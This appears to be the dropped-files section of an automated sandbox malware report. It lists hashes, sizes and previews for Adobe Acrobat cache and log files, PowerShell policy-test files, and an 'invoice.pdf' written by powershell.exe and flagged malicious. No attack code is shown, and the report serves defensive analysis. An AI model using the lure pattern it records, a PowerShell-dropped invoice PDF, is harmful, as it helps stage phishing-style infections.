SSDEEP:	6:YEQXJ2HXDwnbQyf+FIbRI6XVW7+0YncIoAvJfshHHrPeUkwRe9:YvXKXScy2YpW7GuGUUUkee9
MD5:	1974BA1CE373F5A9E82F1F63BF95C9FF
SHA1:	EC105FB310175ED5F21B5E31ACB58DBAFE4DBBCF
SHA-256:	2D38BF542AF3F0C362E208B716E6368BCCED95641C18FC5167219DA65A867AD8
SHA-512:	CE91F514E451E5D0B1D0500F903D96A457C6B3B570616891F28D4A9A8D4743E9F3FF8C8033E700778C05FF1DE8C24DAB8CF44501D5D3329D50CD40116D756658
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"40cfd62b-f806-45bd-b540-92a767ff4088","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736739931296,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.274473278300381
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDwnbQyf+FIbRI6XVW7+0YncIoAvJTqgFCrPeUkwRe9:YvXKXScy2YpW7GuGTq16Ukee9
MD5:	C93D435E218E86666224F3373B1A028A
SHA1:	192A6D94ADF4ABC5EB61299E34E478874BBB9609
SHA-256:	06BAB870C62F31AC79F9AF5F703358C6B1C74E5F4F0BF8091863C37A1DAADE32
SHA-512:	E4FFD1552BEC0DAAE62F095D8A4EF51CB78D8FE7A1059E1462FD6FDB96DE0AAB8E6D0D62B38464C2D90204C43F47C5A34725CD9A8D89044813DF7DEFF2B83EE0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"40cfd62b-f806-45bd-b540-92a767ff4088","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736739931296,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.12446343596862
Encrypted:	false
SSDEEP:	24:Y8YV/VaH8WmayzG1OnFDYcxxW5PXj8sj0SN7F2XCN2LSHCprgW+8jALW5u91Q1uR:YLVYHeG+DYeI8+DZtWgW+8jpY91Q6t
MD5:	A4331CD628160DAEB8AE19B388C9C885
SHA1:	B7D48862F6FAF2614F63A558A0E6E27CA50DA372
SHA-256:	6389721D75C44C39C566024DDF8DE74C3ECA4C4010EBEA283262D23BA9892424
SHA-512:	38836ADF93016265DE5652F9E7F156C10F244E514D11620BDB34DC8C2D0D8D079FA82E2D648900065F6D971DFB88992C302E37FD65AE796FF771C0111C5D4FF0
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"e9c6572ea0724b10e2bfefe5311be4c7","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736566170000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"12be8b32bc58b5405176aa7ea3162e62","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736566170000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"33c2cb6151e27aa5643ccfe5f2da3450","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736566170000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"f09959a60b7ce2a89fdedfc5a48ddc20","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736566170000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"2e5fec896e4d1cec5194b8403fc1a8bf","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736566170000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"109b4f1a7229a71b8d97cc3f52be127f","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9860262816613867
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpOl4zJwtNBwtNbRZ6bRZ43lF:TVl2GL7ms6ggOVpPzutYtp6Pa
MD5:	59FFDE7BBA724E5CD5C4D7734BB75458
SHA1:	078E5C2D233A04FF8F5B3D7C2792C43616A412D7
SHA-256:	4C0CD67F27480AB8D13EC0B0538C4681F5630B00631143B7E4425F4E6372E38D
SHA-512:	50EC50A66D2C688E183560F88892557E07BFAB37B7E21045BED6A560C7E26A121A664D292054A58FEAFFE42437082E0ADAB7291082F40FEB3EC524FCE410E94C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3388208793598262
Encrypted:	false
SSDEEP:	24:7+twAD1RZKHs/Ds/SpOlPzJwtNBwtNbRZ6bRZWf1RZKCfqLBx/XYKQvGJF7urs4c:7MwGgOVp4zutYtp6PMfqll2GL7ms4c
MD5:	7E9D62938A206DA9212AA4864BE76661
SHA1:	0D10CE22D13F6277AB09B6C0CEB4D3C1B14894AD
SHA-256:	FA00A60250BA15714EC45106215A26865DCFC050B361E70D91A517565E9A9238
SHA-512:	79592FBD4779254BF451F92BE216512D140D8B68EED0DAAD399FCC083E7BF2DD73BEF92C19A0B67DCA82B458F66DE2E3D6EAADDEE5584B9879527F01CB4C9E8F
Malicious:	false
Preview:	.... .c......N........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgv0+RUSc6/B3GioWAHYqiZFP3Yyu:6a6TZ44ADEv06UfUB3wij3K
MD5:	F98F00AFEA698E81126D30EFC15CD482
SHA1:	A878F6766D7333739CB62FC6BC8EE69E970B753B
SHA-256:	55C538925F854598F17AE4040D37A11FEB166EC0ADCCA11288865F3C7BA72735
SHA-512:	9D79EF4A0F36F8117F6253C51C02F07073642A8BAF6FDE7B7CC9FAF5C574B430CAA453590B2FEDBBF3ED30ADDBC036323D715D40D0DD9819535A59DA3588E25C
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllullkv/tz:NllU+v/
MD5:	6442F277E58B3984BA5EEE0C15C0C6AD
SHA1:	5343ADC2E7F102EC8FB6A101508730898CB14F57
SHA-256:	36B765624FCA82C57E4C5D3706FBD81B5419F18FC3DD7B77CD185E6E3483382D
SHA-512:	F9E62F510D5FB788F40EBA13287C282444607D2E0033D2233BC6C39CA3E1F5903B65A07F85FA0942BEDDCE2458861073772ACA06F291FA68F23C765B0CA5CA17
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI4332.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.499838153709141
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebCl1flH:Qw946cPbiOxDlbYnuRK+boflH
MD5:	ACFF816C106638C8C46408F56C6CBC39
SHA1:	3E796DE5D8D65DD945538028F2A3FFF1C2BBD381
SHA-256:	804C0CC3EDCC5259AA41BC8BA64978E5C7AB48EDDD729EF22CEEBC8C63CB95C3
SHA-512:	303D149F2C7B1741BE7C808B5AB3CBC96C03EC1BBBE00FFFA04DEFA01EE7CAD76BF3B006713723EE3A5A78C13928C3BD0EB8EF580DB4425ED7BA33F393751183
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.2.:.2.9.:.3.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hvpxyq4t.nkp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lihzcmwb.zuj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 22-29-26-683.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.360750674449455
Encrypted:	false
SSDEEP:	384:EiefeurA5nMkiW1ECR2JwaJse1mYvbvCe1sS4tjz+zUnh/uU67WK2D2DuCwWTk8c:l02
MD5:	A9BB034B9146C174F3FA540B3A644953
SHA1:	3A9708A1BBD9C13CC59BDB9C33EE6CD8A82079D2
SHA-256:	622B7292906DD2E8312875FD6672FCBA0185A836F5214CCEABD3F329BF6F0751
SHA-512:	C8E8E4D3EF613E2A0D00DED15BE3FDD953FB882F1A3A407950147EA16EDD105E6F2C1CB3CFAD3B32BD660D5501350497F16DB39446C88BF8935DCBCB40BE3779
Malicious:	false
Preview:	SessionID=58019210-9a99-46d4-b27b-7afce145347b.1736566166703 Timestamp=2025-01-10T22:29:26:703-0500 ThreadID=7644 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=58019210-9a99-46d4-b27b-7afce145347b.1736566166703 Timestamp=2025-01-10T22:29:26:721-0500 ThreadID=7644 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=58019210-9a99-46d4-b27b-7afce145347b.1736566166703 Timestamp=2025-01-10T22:29:26:721-0500 ThreadID=7644 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=58019210-9a99-46d4-b27b-7afce145347b.1736566166703 Timestamp=2025-01-10T22:29:26:721-0500 ThreadID=7644 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=58019210-9a99-46d4-b27b-7afce145347b.1736566166703 Timestamp=2025-01-10T22:29:26:721-0500 ThreadID=7644 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.40002125761082
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbS:hQ
MD5:	5ADB32D67B3F34888107F23DABE1929C
SHA1:	F5D947C536B18CD87234B732DE82DB2038396336
SHA-256:	057DED993E2D2826D765F4FFCDF97B6AC2EA27D3EAB86057DDA29E82AB44FAC8
SHA-512:	47636384FAAF56F649A547805AA0FC48A0E0F827A9CE846BF92BD29FD00972EC9277455BFD045C8C7477D0A848CB28F0AFE930AE4076B9CB2C38089961E8F053
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\3365f3bf-a51b-4986-b6f9-43e982dfe07d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\d3b090da-d2f5-490e-9a24-ecd0db6973ef.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\dee6e829-231a-4144-9bc2-52f5a11e7782.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\ec504432-d03b-4fd2-8917-67614dbf61eb.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
